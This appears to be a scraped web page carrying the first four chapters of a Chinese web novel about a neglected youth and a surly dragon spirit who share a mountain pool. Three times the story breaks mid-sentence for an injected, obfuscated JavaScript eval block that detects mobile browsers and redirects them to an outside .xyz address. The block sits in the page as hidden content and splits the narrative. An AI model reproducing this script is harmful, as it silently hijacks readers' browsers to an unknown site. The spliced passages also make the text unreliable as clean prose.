《凡人和蛟龙的二三事》 1. 第 1 章 四月末,晌午日头火辣辣的,晒在人身上都能感觉到烫意,院中野草蔫哒哒的,不远处的树木也耷拉着叶子。 李青辞坐在离门窗最远的角落里,低头握着茶杯喝水,他喝水的速度很快,没一会儿水杯就见了底。 轻轻叹了口气,李青辞将茶杯放下,又拿起帕子擦拭额头沁出的汗,瞥了一眼屋外的炎炎烈日,忍不住唉声叹气。 好热,真的好热! 经过一上午的暴晒,屋里热得跟蒸笼似的,闷得让人喘不过气。 李青辞拿起蒲扇摇了两下,扑面而来的都是热风,他只好无奈地放下扇子。 直到日落,暑热才散去些许,但仍是燥热得让人难以忍耐。 次日,天刚蒙蒙亮,李青辞起身下床,稍作收拾便迈出房门,朝外走去。 临近大门口时,正巧遇上刘管家。 刘正兴诧异道:“少爷,这么早,你出去做什么?” 虽然他嘴上称少爷,但言语间并无恭敬,很是随意。 李青辞偏头看过去,不咸不淡地嗯一声,便略过他走了。 刘正兴见状,心里不太高兴,但也没太在意,毕竟李青辞从小就这样,有时候三五天都不见他开口,不过,为了展示自己对他的关怀,仍是嘱咐了一句:“少爷,你莫要在外贪玩,尽早回来。” 语气带着些许说教意味。 李青辞恍若未闻,并未理睬,脚步丝毫不见停顿。 刘正兴见状怔了一下,随即皱起眉头。 果然,孩子大了就不好管了,恐怕以后越来越不好拿捏,他心里不由得有几分沉重,提着筐子里用薄被遮掩好的冰块,快步朝前院走去。 李青辞并未将刘正兴的话听进耳朵里,他出了大门,抬头看向远处连绵不断的群山。 郁郁葱葱、黛青色的山峰,在炎炎夏日给人一种清凉之感。 李青辞眯了眯眼,望着东方天际,太阳即将喷薄而出。 没再停留,他径直朝山边去。 即使他闷着头往前走,但是速度并不快,没多久,太阳自东方升起,金红的旭日带来持续不断的热意。 脸上又沁出不少汗,李青辞掏出帕子擦了擦,停下稍作歇息,待喘匀气后,便继续往前走。 越靠近山脚越凉快。 李青辞寻着记忆朝山里走去,可不知怎的,往年这个时候,山里鸟叫虫鸣,极为热闹,可这次没什么动静,安静极了。 李青辞诧异一瞬,没有深想,继续走着。 往山里走得越深,空气就越湿润,耳边传来哗哗的水流声,李青辞拂开挡在身前的枝蔓,看着不远处的水潭,身体骤然放松下来。 这处水潭是他一个月前发现的,那时正值春末夏初,天气就已经有了炎热的苗头,他在山里转悠好些天,终于发现了这处干净又凉快的地方。 只不过水潭距离山脚很远,每次都要一个多时辰才能爬上来,而且山路并不好走。 所以他明知道这里凉快,前几日却并未上山,因为爬上来实在太累了。 可眼下,天气热得出奇,他实在扛不住了。 叹了口气,李青辞摸了一把汗津津的脖子,满身的疲惫和燥热,在看到这个水潭时一扫而空。 水潭不算很大,也算不上幽深,碧玉似的潭水看上去清凉宜人,潭水十分净透清澈,一眼望下去,隐约能看见黑黢黢的潭底。 李青辞慢慢走到水边,褪去鞋袜,想到这里平时不会有人来,便把外衫也脱了。 穿着一身轻薄的里衣,双脚泡在清凉的潭水里,听着水瀑淙淙的声音,李青辞感觉舒爽、自在极了。 他舒展身体,往后一躺,闭上眼开始补眠。 渐渐,日头强烈起来,李青辞被明烈的阳光晃醒了。 他待的地方并没有被树木完全荫蔽,阳光透过树冠间隙照下来,忽明忽暗,晃得人眼晕。 李青辞惺忪着眼睛,撑着手臂坐起来,瞟了一眼日头,原来已经快晌午了。 身下的石头被烘烤得发热,李青辞起身,一跃跳进水潭里。 这样一来,他完全暴露在阳光下,头顶被阳光炙烤,摸上去热滚滚的。 脱去衣物,只留一条小裤,他深吸一口气,慢慢沉入水里。 清冽的潭水将他完全淹没,隔绝暑热和一切杂音,李青辞放松身体,感觉到前所未有的宁静,任由自己缓缓向下沉去。 而在他背后,一双暗金色的巨大眸子缓缓掀开。 玄鳞撩开眼皮,看见浮在水中的人,忍不住烦躁,他干脆闭上眼,眼不见为净。 可是,脑中总是闪过上次睁眼时,一团腐烂的尸块飘在他周围,给他恶心得够呛,好一阵子都没再泡过水。 潭中荡起涟漪,李青辞吐出一连串小气泡,感受着肺里剩余的空气,放任自己继续沉下去。 突然! 他感觉腰间猛地一紧,有东西缠住了他。 没等到他反应过来、思索对策,他整个人就以极快的速度向上浮起。 慌乱中,他开始挣扎,气息一乱便有水呛进嘴里,刚呛一声,他就被甩在了岸上,眼睫湿漉漉的黏在一起,让他睁不开眼视物。 还没等他恢复视线,就听见一声不耐烦的喝斥:“去别地儿死!别污了这一池子水!” 李青辞抹了把脸上的水,视线终于清晰。 他身前站着一个很高的年轻男人,估计只有二十岁上下,穿着一身黑衣。 此时,玄鳞面迎太阳,上半身露出水面,披散着的乌黑长发悠悠飘在浅青色的水面上,明烈的阳光在他周身晕开一层光辉,将他那张脸映照得极为清晰,眉目凌厉,狭长的眼中含着一对暗金色的眼珠。 现下,这双眼睛眨了眨,眼神流露出烦躁之意。 “你看什么呢!”见这人久未开口,玄鳞蹙着眉问。 李青辞没有回答,周围陷入沉默。 “你是哑巴吗?还是脑子进水傻了!”玄鳞正要再训斥两句,才看清眼下这人。 还是个小崽子,瘦弱矮小,浑身湿漉漉的,跟落水狗似的。 “我不是哑巴。”李青辞揉了揉眼,开始回答,他仰头望着男人,摇了摇头,“我不是要寻死,只是想泡水。” 玄鳞闻言挑眉,这水泡得真别致,毫不挣扎跟个尸体似的往下沉。 他啧了一声:“你们家大人没嘱咐过你不要嬉水吗?” 李青辞闻言开始回想,他父亲没有嘱咐过,他母亲…… 时间过于久远,他当时又太年幼,根本记不得母亲有没有嘱咐过。 所以,他摇了摇头。 玄鳞一哽,瞥了他一眼便收回视线,不耐烦道:“行了,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514020|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在有人嘱咐你,你赶紧下山,以后离水远点。” “可是……”李青辞分辩道,“我会凫水。” 玄鳞嗤笑一声,淹死的都是这种会凫水的。 他懒得搭理,转过身正想重新沉入水底,才想起来身后还有个人,不由得心烦。 人怎么这么多,哪都有人。 河里、江里有人,整天有人捕鱼,这都钻进山窝里了还能撞见人! 真烦人! 李青辞看着男人的背影陷入沉思,这个人是从哪儿冒出来的,他入水前并未听到岸上有旁的动静。 正想着,男人突然转过身,李青辞跟他对上视线,就听见他说:“小孩,你什么时候下山?” 李青辞听完不由得皱眉,反驳道:“我不是小孩,我马上就十六了。” 玄鳞嗤了一声,他十六的时候还是颗蛋呢。 “少废话,你什么时候离开?” 李青辞抬头,看了一眼明晃晃的太阳,答道:“快日落的时候。” 玄鳞一听,烦躁地摁了摁眉心,要不是他不能对人擅用法术,早把这倒霉孩子扔下山了。 没人开口,四周陷入沉默。 屁股底下的石头越来越烫,只隔着一层单薄的裤子,李青辞坐不住了,他站起身来,动作间能清晰看到胸腹处凸出的肋骨。 玄鳞瞥他一眼,算了。 他虽然讨厌人,但是也犯不上和一个小孩较劲。 抖了抖袖子,他提步朝岸上走去。 李青辞看着他的身影消失在林中,转头朝树荫下走去,他早上就没吃东西,现在饿得不行。 掏出外袍里的饼子,饼子是昨日剩下的,是用磨碎的稻壳和麦麸又加了少许白面做成的糠饼,很干,有些噎人,他撕成小块,在嘴里慢慢嚼着。 他一边吃一边想,早知道把那本洲山图志带过来了,这里很凉快,不会热得看不进书。 等吃完饼子,李青辞又开始无所事事,他寻着潭边一点点打量,发现潭底不再是一片漆黑,而是深绿色,隐约能看到铺在水底大小不一的石头。 李青辞盯着潭水看了好一阵儿,没发现鱼虾,连颗田螺都没瞧见。 阳光越来越强烈,照得人睁不开眼,李青辞收回视线,沿着水潭往上走,这是个小断崖,水从高处落下时,带起的风中夹杂着清凉的水汽。 李青辞在瀑布旁找到一块有树荫的地方,他将外袍铺在石头上,躺下又睡了。 不知过去多久。 睡醒后,李青辞也没起身,就这么枕着手臂,仰头望天。 太阳一点点西移,日头不再那么毒辣,李青辞坐起来穿好衣服,朝山下走去。 途中,经过一棵极为粗壮的桢楠树。 浓密的树荫里挂着一黑长条,缠在树枝上荡荡悠悠。 玄鳞眯起眼睛,看着树下走远的人。 可算是走了。 玄鳞晃了晃尾巴尖,朝水潭飞去。 原本手腕粗细的长条,在没入水中的一刹那,顿时变成庞然大物,硕大的身躯占据了整个潭底。 玄鳞枕在自己尾巴尖上,悠然地阖上了眼。 还是泡在水里舒服。 另一边,走到山脚、离开树木隐蔽的李青辞就没有这么舒服了,他感受着扑面而来的热气,非常想立刻转身回到山上。 2. 第 2 章 叹了口气,李青辞慢吞吞地往回走,中间歇了一会儿,到家时天色刚擦黑。 甫一进门,他就看见了站在门边的刘正兴。 李青辞没有理会,径直往自己的院子走。 身后,刘正兴道:“少爷,你可让我好找,哪都寻遍了就是找不见人影,我这一整日都担惊受怕,唯恐你出了意外。” 李青辞不言不语,脚步不停。 刘正兴追上来,伸手去拽李青辞,高喊道:“少爷,你听见了吗!” 李青辞侧身避开,停下来看向刘正兴。 刘正兴对上他视线,下意识收回手。 又来了,又是这种眼神。 刘正兴往后退了两步,每次对上李青辞这种眼神,他都感觉浑身不自在,心里直发毛。 这种压低眉眼、阴沉沉盯着人看的眼神。 李青辞看着他问:“还有事?” “没有没有。”刘正兴连连摆手,笑得有些勉强,“少爷您回房歇息吧。” 李青辞嗯了一声,继续往前走。 等他走远后,刘正兴又开始唾弃自己,他活了四十多年,如今竟然怕一个毛都没长齐的小子。 这都快八年了,老爷一直把李青辞扔在乡下,虽然每年都会送来银子,可老爷对李青辞十分冷淡,他的事连一句也未曾问过。 不过,话又说回来,李青辞毕竟是老爷的嫡长子,到底是血浓于水的父子,李青辞若真出了意外,说不好他要吃挂落。 因此,这些年他也不敢过分克扣银钱,从来不曾对李青辞打过一下、骂过一句,更没让李青辞受过冻、挨过饿。 刘正兴自觉没有苛待李青辞,即使有朝一日,李青辞能重回京城,去朝老爷告状,他也有说头。 就推说乡下好东西少,给少爷添置的物件都是托人从别处运来、花了大价钱的,而且少爷体弱多病,经常寻医问药,大把银子如流水般地花出去。 刘正兴定了定心神,快步朝自己房里走去,外头热死了,幸好他今天多买了两块冰。 此时,院中刮起一阵微风,拂在人身上不见凉爽。 李青辞一进屋,连喝了两杯凉水才止住渴。 他坐在椅子上,慢慢适应焦躁的热意。 这时,屋外传来了脚步声。 秦翠英端着托盘走到门口,喊道:“少爷,我来给你送饭。” “进来。”李青辞应声。 秦翠英推开半掩着的门,端着饭进去,走到外间的桌前停下。 托盘上放着两个杂面馒头,一碟子炒洋芋,里头夹杂着零星肉沫,一碗煮过头的青菜汤,看上去清汤寡水的。 李青辞朝托盘看去,秦翠英不由得绷紧身体,心虚地低下头。 肉原本没有这么少,今日刘管家往厨房送了二两肉,但是炒出来后,刘管家自己就挑走了一大半,剩下的肉本就不多。 她家里过得紧巴,三个孙子日日吵着要吃肉,她心疼孩子吃不好,只得做出这种事来。 虽然她在李家干了半年厨子,这种事也做过不少次,可是每次她都提心吊胆,唯恐被李青辞发觉。 但好在次次有惊无险。 这次也不例外。 李青辞并未说什么,拿起馒头,揪下一块送进嘴里。 秦翠英居高临下看着李青辞,越看心里越不是滋味,十五六岁的半大小子,看上去小小一团,十分文弱,脸上都没挂多少肉。 秦翠英不由得可怜李青辞,可是一想到家中几个孙子,这点可怜就迅速被压下。 她站在原地犹豫片刻,忍下不舍,咬牙从布袋里掏出一个菜团子递给李青辞,她可是在菜里面放了好一大坨猪油呢! 李青辞看向她,没接菜团子,询问道:“这个你自己留着吧,不过,你待会儿能烙几张饼子吗?” 他想明天带到山上吃,今天中午就一张饼子,没等他下山就开始饿了。 “哎,好好,我这就去烙饼子。”秦翠英稍作纠结,将菜团子重新放回身上的布袋里。 秦翠英走后,李青辞慢条斯理地吃饭,没怎么夹菜,他咽下最后一口馒头,起身喝了杯水。 今天的菜又炒咸了,汤还是一如既往的难喝。 李青辞走进里间,点上灯,坐在桌前看书。 时间缓缓流淌,李青辞拿着书看得入神,一时都忽略了炎热的天气。 秦翠英端着烙好的饼子走到门口,见里间亮着灯,就知道李青辞在看书,便没言语,放下饼子,轻手轻脚地将碗筷收拾好,悄声离开了。 夜半。 李青辞躺在床上辗转反侧,热得他后背全是汗。 直到天蒙蒙亮,他洗了把脸,装上饼子和书,朝着山上去。 去山上这段路,真得很折磨人,路上又晒又热,还走得人腿酸,可是没办法,他从小就怕热,今年又热得出奇,在屋里根本就待不住。 途中,太阳出来了。 李青辞拐到水塘边,摘了两个大荷叶顶在脑袋上。 等走到水潭时,荷叶已经被晒蔫了。 碧玉似的潭水清清凉凉,除去人一身的疲惫和暑热。 李青辞找了一块树荫多的地方,躺下补眠,他偶尔翻身时,浸在水中的双脚会带起一些水花。 潭底。 玄鳞抬头瞪着自己上方晃晃悠悠的人脚,心下恼怒。 岂有此理,竟然让他泡凡人的洗脚水! 而且,泡就泡吧,还不老实! 越想越气! 此时,李青辞睡得正香,忽地,他脸上遮盖的荷叶不见了,突如其来刺眼的光线迫使他从睡梦中醒来。 还未等他彻底清醒,自己腿上就被踢了两脚。 紧接着一道怒喝声响起:“把你的脚从水里收回去!” 玄鳞的语气不怎么好,想来也是,谁一睁眼看见自己头顶悬着双脚,心情都不会太好。 尤其是玄鳞这种讨厌凡人的妖。 李青辞看着眼前高大的身影,不解道:“为什么?” 玄鳞冷声道:“不为什么!我说让你收回去你就收回去!” 李青辞低下头,抿着嘴不吭声,看上去好像在示弱,但是他的俩脚依然垂在水里。 见此情景,玄鳞被气笑了,他俯下身,在李青辞眼前晃了晃自己的拳头,阴沉道:“你觉得自己这小身板能经得住我几拳,小子,我劝你识时务一点!” 此时,玄鳞投下来的阴影将李青辞完全笼罩,衬得李青辞越发弱小,再配合着玄鳞阴恻恻的威胁,李青辞应该很容易退让。 可是结果相反。 李青辞并没有被吓到,反而又就地躺下了。 他很擅长识时务。 要是这人真得有那么残暴,随意动手伤人,那么他昨日就不会完好无损地下山。 而且,他真的好困,头晕晕的,浑身没有力气。 玄鳞见状惊住了,这么不怕死的凡人真是少见。 这是不是就是书上写的“初生牛犊不怕虎。” 惊讶过后,紧接着就是恼羞成怒。 玄鳞自从修成内丹,这还是第一次被人无视,以往那些人,哪个见了他不是吓得屁滚尿流的。 他一把揪住李青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514021|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞的衣襟,直接将人从地上提起来。 本来看在他还是个小崽子的份上,不想跟他计较,没想到这小玩意儿蹬鼻子上脸。 玄鳞打算把这个小崽子扔下山,然后在水潭边设个小法术,也省得以后再有人找过来。 此时,李青辞整个人悬空着被玄鳞提在手上,颠得他头晕眼花,他看向脸色阴沉的男人,开口道:“我错了,对不起,我不泡脚了,你让我留在这里吧。” 玄鳞冷笑一声,提着他继续往前走。 李青辞手脚并用地挣扎,一把扑在男人身上,紧紧抱住他的腰,恳求道:“求求你了,让我留在这里吧,否则我在山下会被热死的。” 玄鳞对此嗤之以鼻,就算热死了又关他什么事,何况,哪有这么严重。 今年虽然是旱年,天气比往年炎热不少,那也没到热死人的地步。 李青辞继续小声恳求:“求求你了。” 玄鳞低下头,看着抱在自己腰间的细弱手臂,忍不住烦躁,他扯着李青辞的手臂将人甩开,怒道:“拿开你的脏爪子!” 李青辞摔了个屁股墩,仍不忘辩解:“我的手不脏,刚刚洗得很干净。” 玄鳞嫌弃地看向他,懒得搭理,伸手指了指右前方,命令道:“顺着这条道下去,走不了多远就有一个小水塘,你去那儿。” “我不去。”李青辞摇头拒绝,“那儿的水很脏,而且周边没有什么大树,很热。” “你还挑上了!”玄鳞拔高音量,“不愿意,你就滚下山。” 眼下,男人虽然依旧语气不善,但是脸上阴沉的神色淡去不少,给人一种能讨价还价的感觉。 李青辞抬头望着他,视线有些模糊,他努力眨了眨眼,轻声道:“可是,这个地方是我先来的,昨天你在这里泡水,我都没有赶你。” 玄鳞听完觉得荒谬,不可思议地质问道:“你先来的?你什么时候来的?” 李青辞答道:“一个多月前,你看,那边树上我还绑了布条做记号。” “嗤!”玄鳞忍不住讥讽,他几百年前就在这泡水了,那时候他还没修成人形呢。 “少废话,你娘还在娘胎里没出生,我都已经在这了,赶紧滚!” 李青辞摇摇晃晃地从地上爬起来,低低道:“我……我……” 刚说出两个字,他就感觉天旋地转,眼前陷入一片黑暗,紧接着就失去了意识。 “别装死!”玄鳞抬脚踢了踢他的腿。 静默片刻,没什么反应。 玄鳞低声嘀咕:“嘶,真晕了?” 又过了一会儿,李青辞仍旧躺在地上,期间一动不动。 玄鳞见状满心烦躁。 说两句就晕,真是脆弱又麻烦的东西! 以后还是离人再远点。 一阵风吹过,树叶哗哗作响,有些泛黄的枯叶从枝头坠落,在风中飘飘荡荡,有片树叶刚好落在李青辞脸上。 叶片边缘有些硬,杵在眼睫上不太舒服,李青辞被这种不适弄醒了。 他坐起来,周围一片寂静,那个男人不在了,他还在晕倒前的地方。 揉了揉眼睛,他抬头望天,太阳已经过了正南,他晕过去有半个时辰了。 好饿。 他抬起虚弱的双腿,慢慢朝自己的衣衫处走,摸出饼子,慢慢嚼着。 两张饼子下肚,胃被填满,手脚恢复了力气。 口很渴,难以忍受。 他捡起地上的荷叶,走到潭边,看着黑漆漆的潭底,犹豫片刻,没选择在这里洗叶子。 他不想喝别人的泡澡水。 3. 第 3 章 往上走了一段,他来到瀑布前,将荷叶冲洗干净,然后把荷叶卷成筒状接水喝。 他捧着荷叶一次性喝了个饱,然后走到昨天待的地方,拿出书翻看。 此时,平静的潭水表面,突然荡起一圈涟漪,自潭底涌上来一长串小水泡。 水底的玄鳞,听着岸上悉悉索索的声音,忍不住叹气。 还好没死。 这小崽子万一真在这里出了意外,贼老天说不定会把因果怪在他头上。 算了。 玄鳞又叹了口气,闭上眼开始睡觉。 不远处的瀑布水流不息,将底下的石头冲刷得越来越光滑。 李青辞看完最后一页,收好书,撑着手臂站起来。 太阳已经偏西,他该回去了。 临走前,他来到潭边,凝视潭底片刻,然后才转身离开。 回到家后,迎接他的又是闷热。 一夜辗转反侧。 太阳高高挂在东方时,李青辞坐在水潭边擦汗。 他俯身凑近水面,用荷叶掬水,然后挪到一边洗脚,清清凉凉的潭水很快抚平他的燥热。 缓缓吐出一口气,李青辞躺在树荫下睡着了。 水底下的玄鳞,见他还算识时务,也没再计较。 就这样,一人一蛟达成默契。 接下来的半个多月,李青辞天天待在水潭边,日出而来,日落而归。 玄鳞盯着水面上倒映出的人影,气得咬牙切齿。 这小崽子,整天待在这里,他白日里想翻个身都不行。 真想化做原形将这小子吓跑,可又怕把人吓死了,到时候他还要遭天谴。 忍无可忍,无须再忍! 玄鳞绕到小崽子背后,居高临下俯视他,故意高声吓他:“喂!小子!” 果然,小崽子被吓了个激灵,身子骤然抽搐一下,手中的书都没拿稳,啪的一声掉在地上。 见状,玄鳞舒心极了。 李青辞捂着胸大口喘气,等那阵心悸过去,他扭头看向身后的人,不怎么高兴地问道:“你喊我做什么?” 玄鳞垂眸,来回打量他,纳闷道:“你平日里都没有事要做吗?天天待在这里,哪个人像你这样游手好闲。” 以往他见过的人,都是忙忙碌碌的,哪像这小子这么清闲。 李青辞听完沉默了,他垂下头,将书捡回来,再抬起头看着玄鳞时,眼中满是空茫。 “我不用读书科考、光耀门楣,不用奔波劳碌、操劳生计,不用娶妻生子、照顾妻儿。” “……我确实没事要做。” 李青辞说完,玄鳞也沉默了。 他好像也没有正事要做,早些年还一心惦记着修行,可现在,他的修行已经足够了。 两人沉默着对视,大眼瞪小眼,气氛有些尴尬。 玄鳞感觉面皮子发紧,本来想教育这小子一顿,结果戳自己一刀。 这时,李青辞又哪壶不开提哪壶,问道:“你有事要做吗?你待在山里是要做什么?” “关你什么事!”玄鳞没好气地说,“话这么多!” 李青辞闻言,不高兴地抿了抿嘴:“你不讲理,你问我,我好声好气答了,我问你,你却这么凶。” “怎么,你不服啊!”玄鳞冷嗤一声,“不服憋着,哪凉快待哪去!” 李青辞斜睨他一眼,开口道:“这里凉快。” “你小子挺会顶嘴啊!”玄鳞语气沉沉地威胁他,“信不信我给你丢水里,淹死你!” 李青辞听完有些无语,低下头暗暗翻了个白眼,这种话也就吓吓五六岁的小孩。 不过,他并不想跟这人逆着来。 “信。”李青辞语调平平,“我好怕啊。” 玄鳞闻言哽住了,语气这么敷衍,当他听不出来吗! 没等他发火,李青辞紧接着开口,询问道:“你还有事吗?没有的话我要看书了。” 这本书明日就要还回去,他还有一半没看完。 玄鳞皱了皱眉,问道:“你刚才不是说,你不用读书科考吗?那你还在这天天看书。” “而且一个人待在这瞎看,你看得明白吗?不用夫子教吗?” 李青辞拿起书,把封皮面向玄鳞,解释道:“我看的都是闲书,科考不看这些,我有一本字书,小时候学过一些,平常的字都认得,我能看懂。” ‘小时候’ 玄鳞听完莫名觉得好笑,一个小孩,一整正经地说自己小时候。 “你笑什么?”李青辞放下书,盯着他问。 “啊?”玄鳞反应过来,咳了一声,快速收起脸上的笑意,问道,“你为什么不去学科考看的书,你们人不都是想封侯拜相、为官做宰吗?” 李青辞将微微翘起的书皮压平,他四岁开蒙,跟着先生学过四年半,不到九岁便被父亲送到了乡下,先生没有跟过来。 从那以后,他就再也没有上过课。 他对科考致仕没什么兴趣,与其看那些枯燥乏味的圣贤之书,不如读一些游记、传奇。 “没什么原因。”李青辞低着头,语气淡漠,“就是不喜欢。” 玄鳞听完哼笑一声,小崽子还挺有脾气。 他蹲下来,撑着头,看着人继续问:“你不用操劳生计,你家里很有钱吗?” 李青辞思索一下,他爹现在是户部左侍郎,于是点了点头:“应该算是有钱。” 玄鳞闻言皱眉,问道:“那你怎么还这副风吹就倒的模样,瘦得跟小鸡崽子似的,你家里短你吃喝?” “没有。”李青辞摇头,“我顿顿都有饭吃。” 玄鳞听完,犹疑的目光在他身上来回打量,正想问他是不是挑食,又想起来这小子天天抱着干巴巴的饼子硬啃。 算了。 玄鳞没再追问,跟他又没有关系,操这份闲心呢。 “那你为什么不能娶妻生子?”玄鳞再次开口询问。 在他印象里,凡人,尤其是男人,都是很热衷于娶妻的,有些人甚至娶好多个媳妇。 “你话好多。”李青辞抬眼瞥他。 玄鳞啧了一声:“你小子别登鼻子上脸,问你你就好好回答。” 李青辞闻言撇了撇嘴,翻了个不明显的白眼,答道:“娶不到。” “为什么娶不到,娶媳妇很难吗?你家里不是很有钱,这样也娶不到?” 李青辞伸手揉了揉后脖颈,一直仰头看人,脖子很酸,他一边揉一边回答:“没有人给我张罗。” 按常理来说,他这个年纪,家里早就该给他相看了,可是他母亲已经去世,父亲眼里不知道还有没有他这个儿子。 没有人给他操持这些,他虽然顿顿有饭吃,但是却没什么钱,每月发的银钱连看书都不够,他又手不能提肩不能扛,没有姑娘愿意嫁给他这样的人。 玄鳞听完,忍不住面露嫌弃:“那你真废物,没人给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514022|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你张罗,你不能自己找吗!” 语气一顿,他接着说:“也是,就你这瘦鸡仔模样,好姑娘也看不上你。” 他们妖求偶,从来都是主动出击,他之前见过三头雄性狼妖为了争夺配偶,打得头破血流。 不过,那些雌性都喜欢身强体壮的雄性,就这小崽子,嗯……都不够别人一拳。 李青辞并未理会玄鳞的嘲笑,问道:“那你娶妻了吗?你怎么不去科考?” 玄鳞闻言蹙紧眉头,他一个妖,科考做什么。 娶妻? 他自个过得别提多自在了,吃饱了撑的给自己找不痛快。 “少打听!”玄鳞站起身,“看你的书吧!” 话音落地,玄鳞转身就走,很快,他的身影就消失在李青辞视线里。 李青辞收回目光,低下头专心看书。 一晃,又到日落。 今日在山上逗留的时间长了些,回到家时,天色已经擦黑了。 李青辞慢慢朝着自己院子走去,就见房门口站着刘正兴,他停下脚步:“让开。” 刘正兴正了正神色,口吻严肃道:“少爷,您这些日子天天早出晚归,每天都不见人影,万一您在外面出了什么事情,我怎么向老爷交代。” 李青辞嗯了一声,平静道:“知道了,那我以后就不出门了,你给我屋里放两个冰盆。” 刘正兴闻言一怔,随即为难道:“老爷每年就寄一次银钱,我已经花得很节省了,您的衣食住行都颇费银子,实在挤不出多余的银子买冰。” 李青辞抬头直视他:“你从小看着我长大,应该知道我体虚又怕热,眼下这种天气,我若日日待在屋里,难保哪天不会被热死。” “刘管家,你说,我要是死了,我爹还会寄钱吗?” 刘正兴听完,面色不虞,但又不得不承认李青辞说的是实话,顿了顿,他道:“咳……那什么,少爷,我也是担心你啊,你这整日往外跑,万一——” “劳你挂心。”李青辞打断他,往前走了一步,“我饿了,我要吃饭。” 刘正兴“啊”了一声,往一旁挪了挪,笑道:“少爷你进去吧,饭已经放在桌上了。” 李青辞没再言语,越过他进屋,转过身将门关上。 刘正兴看着眼前紧闭的房门,悻悻地摸了摸鼻子。 真是越大越不听管教,心也野了。 不过,他转念一想,只要人死不了,爱去哪去哪吧,他只要有银子花就行。 屋内,吃完饭的李青辞开始收拾东西。 把上次借阅的书籍用布包好,然后蹲下钻进床底,将床头里侧的一块砖搬开,从里头摸出一小块银子。 他刚到乡下的时候,衣食住行全听刘正兴的安排,他手里一文钱都没有,后来他年岁渐长,没有小时候好糊弄了。 于是,从他十二岁开始,刘管家每月会给他二钱银子。 那时,他找不到花钱的地方,银子就随手搁在抽屉里,常常会不翼而飞。 有次,他得了重病,高烧不退、上吐下泻,刘正兴吓得不行,带他去城里治病。 他在医馆住了快半个月,有位大夫给了他一本书让他解闷,自那以后,他就迷上了看书,每月的银子都花在借书上。 夜里。 热得头脑昏沉的李青辞忍不住想,要是晚上也能睡在水潭边就好了,可是,他有点怕黑,尤其还是在那种深山野外。 唉。 4. 第 4 章 第二天。 李青辞仍是早早起来,抱着书往城里去。 他所住的柳池镇,离丰水县城很远,大概要走一个半时辰,所以他半个多月才去换一次书。 路还没走完一半,李青辞浑身都湿透了,真的好热,他抿了抿干燥的嘴唇,闷着头继续往前走。 这时,身后传来一道清丽、爽快的女声:“青辞!” 李青辞闻声止步,回头看过去,就见韩水谚驾着骡车,陈静婉站在车上冲他招手。 骡车很快就跑到他身边,陈静婉笑问:“青辞,你又去借书啊?” 李青辞点了点头,问道:“你们呢?” 陈静婉低下头,抿嘴笑着不出声。 韩水谚挠了挠脖子,脸上飘红。 沉默几息,韩水谚羞涩地开口:“去城里给婉婉扯几件花布做衣裳。” 李青辞看着这二人的情态,明白过来是怎么回事,了然一笑:“哦,这样啊。” 陈静婉没再扭捏,招呼着他上车:“快上来,捎你一程。” “好。”上车后,他开门见山,直接问道:“你们定亲了?” “嗯,昨天定下的。”陈静婉低声说着。 李青辞又问:“什么时候成亲?” 陈静婉将斗笠戴在头上遮阳,脸红道:“我爹说,想让我再等一年。” 李青辞嗯了一声:“确实不急,那就再等等吧。” 陈静婉只比他大了几个月,才将将十六岁,而且,女子成婚后要操持很多事情,很辛苦。 “青辞!”听见他们说话的韩水谚不由得急了,“你…你别这么说……你…” “你什么你!”陈静婉抬手在他背上拍了一巴掌,“好好驾你的车!” 韩水谚委屈道:“你每次都向着他。” “青辞最小,不向着他,难道向着你!”陈静婉凶巴巴道。 韩水谚小声辩解:“我也没有很大,只比你大了十四个月。” 陈静婉听完,凑过掐他。 李青辞没有作声,静静看着他们嬉笑打闹。 他刚到乡下时,可以说是举目无亲,一个人都不认识,刘正兴怕他乱跑出了意外,经常将他关在房里,每天大部分时间都是他自己一个人待着。 虽然在京城时,也没什么人跟他说话,但那时候他还在上课,每天有功课打发时间。 刚来的那段日子,对他来说很漫长,他每天坐在窗前,呆板地看日出日落。 有一天,他看到窗外的天空中飘着一只色彩鲜艳的纸鸢,他很想走近去看看。 在他的坚持下,刘正兴退让了。 从那以后,他可以自由进出院子。 那段时间,他总能见到空中飘摇的纸鸢。 放纸鸢的人就是陈静婉和韩水谚,他们开心的笑容传进他耳朵里。 不过,他并未靠近他们,只是坐在大门口的墙角,远远看着他们玩闹。 有天,风太大,纸鸢断了线,被风吹到了他身前。 陈静婉和韩水谚朝他跑了过来,自那以后他们相识,算起来,他们认识有五年多了。 车轮轱辘向前滚动,丰水城的城门映入眼帘。 陈静婉率先跳下车,伸手去扶李青辞:“来,慢点。” 李青辞冲她笑了笑:“好,知道了。” 韩水谚见状,无奈地叹了口气。 